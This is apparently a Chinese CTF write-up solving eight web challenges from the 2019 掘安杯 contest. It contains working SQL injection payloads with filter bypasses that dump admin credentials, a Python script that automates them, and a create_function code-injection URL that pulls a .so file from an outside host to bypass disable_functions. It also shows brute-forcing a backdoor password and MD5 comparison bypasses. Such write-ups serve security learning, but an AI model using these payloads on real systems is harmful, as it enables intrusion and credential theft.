34

2019掘安杯Web

 4 years ago
source link: https://blog.zeddyu.info/2019/04/06/掘安杯Web/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

清明无聊,玩了一下这个 ctf 比赛

Web

Web 1 web签到

Description

flag到底在哪啊!!

题目地址: http://120.79.1.69:8887/web1/

Hacking

EVfQNjU.jpg!web

Web 2 下载下载

Description

下载就对了,废什么话!

题目地址: http://120.79.1.69:8887/web2/

Hacking

题目给了一个文件下载的功能, http://120.79.1.69:8887/web2/?file=flag.txt

直接下 flag.php ,内容为

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
	$key = md5 ( $key );
	$x = 0;
	$len = strlen ( $data );
	$l = strlen ( $key );
	for($i = 0; $i < $len; $i ++) {
		if ($x == $l) {
			$x = 0;
		}
		$char .= $key {$x};
		$x ++;
	}
	for($i = 0; $i < $len; $i ++) {
		$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
	}
	return base64_encode ( $str );
}

function decrypt($data, $key) {
	$key = md5 ( $key );
	$x = 0;
	$data = base64_decode ( $data );
	$len = strlen ( $data );
	$l = strlen ( $key );
	for($i = 0; $i < $len; $i ++) {
		if ($x == $l) {
			$x = 0;
		}
		$char .= substr ( $key, $x, 1 );
		$x ++;
	}
	for($i = 0; $i < $len; $i ++) {
		if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
			$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
		} else {
			$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
		}
	}
	return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
?>

直接用 decrypt 函数解就行了…得到 myCTF{cssohw456954GUEB}

Web 3 猜密码

Description

这题很简单

题目地址: http://120.79.1.69:8887/web3/

Hacking

直接看源码

<html>
<head>
<title>猜密码</title>
</head>
<body>
<!-- 
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
	if ($_POST['pwd'] == $_SESSION['pwd'])
		die('Flag:'.$flag);
	else{
		print '<p>猜测错误.</p>';
		$_SESSION['pwd']=time().time();
	}
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

直接点击提交获得 flag

Web 4 该网站已被黑

Description

如何预防网站被黑?把不必要的端口修改或者关闭、使用web防火墙、使用cdn隐藏IP、使用安全狗。有技术可以代码审计修复0day漏洞

题目地址: http://120.79.1.69:8887/web4/

Hacking

猜测有后门,打开 shell.php,爆一下密码为 hack

QjiIvyj.jpg!web

Web 5 曲折的人生

Description

曲折是人生的常态当你遇到坎坷时,不妨把曲折的人生看作是一种常态,不要悲观失望,不要长吁短叹,不要停滞不前,把走弯路看成是前行的另一种形式,另一种途径,这样你也可以像那些走弯路的河流有勇气,抵达那遥远的人生大海。

题目地址: http://120.79.1.69:8887/web5/

Hacking

jqYR32E.jpg!web

随便提交我们可以发现有一个错误返回

select id,username,password from `admin` where username='admin'<br/>用户名:admin不正确

过滤了 or union select ,但是大写就可以绕过,空格过滤用 %0a 绕过,用 username=admin'%0aUNION%0aSELECT%0a1,2,3# ,发现 2 那一列被回显,所以可以在 2 处查询

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
1,2,3#'<br/>用户名:2正确        </div>

username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata# 得到

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(schema_name),3
from
infORmation_schema.schemata#'<br/>用户名:information_schema,xiaowei正确        </div>

表名:

 <div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(table_name),3
from
infORmation_schema.tables
where
table_schema='xiaowei'#'<br/>用户名:admin正确        </div>

列名:

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(column_name),3
from
infORmation_schema.columns
where
table_name='admin'#'<br/>用户名:id,username,password正确        </div>

用户名:

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
id,username,3
from
admin#'<br/>用户名:goodboy_g-60Hellowor正确        </div>

密码:

<div class="tip">
        	 select id,username,password from `admin` where username='admin'
UNION
SELECT
id,password,3
from
admin#'<br/>用户名:ajahas&&*44askldajaj正确        </div>

登录成功后:

<div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代码审计.zip</a></div>

自己用的脚本:

index_url = 'http://120.79.1.69:8887/web5/index.php'
solution_url = 'http://120.79.1.69:8887/web5/?check'
headers = {
	'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
	'Content-Type': 'application/x-www-form-urlencoded'
}
proxies = {
	'http':'http://127.0.0.1:8080'
}

r = requests.Session()
s = r.get(index_url,allow_redirects=True,headers=headers)
str_text = r"<div class='rep'>.*</div>"

match = re.search(str_text,s.text)
result = match.group().replace("<div class='rep'>","")
result = result.replace("</div>","")
result = result.replace("ï¼","(")
result = result.replace("ï¼",")")
result = result.replace("X","*")
result = result.replace("/","/")
result = result.replace(b'\xc2\x89'.decode(),"")
result = str(round(eval(result)))
print(result)

# param = "username=admin'+||+'1'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(table_name),3 from infORmation_schema.tables where table_schema='xiaowei'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT id,group_concat(id),3 from admin#&password=admin&code=" + result
param = "username=admin'+||+'1'#&password=ajahas%26%26*44askldajaj&code=" +result
param = param.replace(' ',"%0a")
# print(param)
s = r.post(solution_url,data=param,headers=headers,proxies=proxies)
print(s.text)

这里比较坑的就是要处理那些不可见字符,我都是直接复制过来的,以及最后还有个不可见字符,用 result = result.replace(b'\xc2\x89'.decode(),"") 处理了…这里比较恶心…其他没什么难度

里面的代码:

Private Function getPassword(ByVal str As String) As String


    Dim reString As String
    
    Dim i As Integer
    i = 1
    
    
    While (i <= Len(str))
    
     reString = reString & Mid(str, i, 1)
     i = i + (i Mod 5)
    
    
    Wend
    

    getPassword = reString

End Function



Private Sub Command1_Click()

   Dim Dictionary As String
    
   Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
   
   Dim password As String
   
   password = getPassword(Dictionary)


   Dim psw As String
   
   psw = Text1.Text
   

   If (psw = password) Then
   
    MsgBox "The password is correct!", vbOKOnly, "������ȷ"
    
    Text1.Text = "Password for next pass : " & getPassword(password)
       
   Else
   
    MsgBox "PasswordFail!", vbOKOnly, "�������"
    
      
   End If
   
      

End Sub

用 python 翻译一下

def getPassword(string):
	i = 1
	reString = ''
	while i <= len(string) :
		reString = reString + string[i-1]
		i = i + (i % 5)
	return reString

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

password = getPassword(Dictionary)
password = getPassword(password)
print(password)

得到压缩包密码,解压得到的图片用 strings 看一下就是 flag 了

Web 6 not_easy

Description

this question is no easy

题目地址: http://120.79.1.69:8886/web6/

Hacking

 <?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
}

Code Breaking原题,只不过把 arg 的位置换了一下,无伤大雅,依旧可以用 ){return 123;} 这种闭合形式绕过。接下来就是突破 disable_function 的限制了。

ya6zMre.jpg!web

这里我直接用了 0ctf 的解法,因为有现成的 exp 就直接拿去用了。

http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}copy(%22http://106.14.153.173:8080/zedd.so%22,%22/www/wwwroot/www.sec.cn/web6/zedd.so%22);%2f%2f

6BjQVzY.jpg!web

后来看了一下可以简便一点,在 _SERVER["SCRIPT_FILENAME"] 处发现绝对路径,然后用以下看当前文件

http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}var_dump(scandir(%22/www/wwwroot/www.sec.cn/web6%22));%2f%2f

7baqMrM.jpg!web

可以看到我之前传上去的 .so ,也看到了还有两个 webshell ,直接 file_get_contents 读 flag 即可

看知乎还有人发了一开始没做题目隔离…还没用 docker …这个一拿到 shell 就拿到了其他题目了…

Web 7 audit

Description

audit

题目地址: http://120.79.1.69:8887/web7/

Hacking

 <?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}



str1 OR Sstr2 no no no

源码审计题,用数组可以绕过前面 4 个判断,str5 str6 str7 因为转成了字符串,所以需要强碰撞。这里可以利用 Three way MD5 collision 给的三个图片强行碰撞,但是比赛的时候由于自己对 python 这块不是特别熟,导致传这三个值老是传不了,最后赛后问了一下其他师傅要 open().read() 这样…(然而自己按照阿烨师傅的没加 read() 一直做不出来…

后面的可以自己 fuzz 一下,只要找到一个 md5 值可以变成 0exxxxxx 形式的字符串即可。这里用正则整了好一会

for ($i=99999; $i < 1000000; $i++) {
	$str = md5($i);
		$p = '/^\w{4}.[0-9]+$/';
		if (preg_match($p, $str)) {
    		echo $i."	";
			echo md5($i);
			echo "<br>";
		}
}

得到以下几个数

204540 1a083126803757739236831994920755
541725 2c125284818224703513551749833326
598677 39dd6797642068546678043973187459

其他就迎刃而解了。附上脚本

import requests
url = "http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=1a&n=0e"
data = {
    'a':'QNKCDZO',
    'b':204540,
    'str5': open('black.jpg.coll').read(),
    'str6': open('brown.jpg.coll').read(),
    'str7': open('white.jpg.coll').read()
}
proxies = {
	'http':'http://127.0.0.1:8080'
}
r = requests.post(url,data = data,proxies=proxies)
print r.text

Web 8 真的是 Web

Description

真的是web,格式jactf{}

题目地址: http://120.79.1.69:8887/web8/

Hacking

是个 WebAssembly 的题,原本算在 web 的,后面放到 rev 去了,就没看了。

Conclusion

整个比赛还是比较简单的,可以说整个比赛没有自己比赛的东西,算不上是高质量比赛,没学到什么其他的东西。把 python 又撸了一遍…简直,python3 字符编码真的有点恶心… web8 可能以后有空回回来看看,其他就没什么了。不过听说比赛主办方还是在校生…那也是挺辛苦的hhhh…还是比较对主办方的辛苦运维表示感谢


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK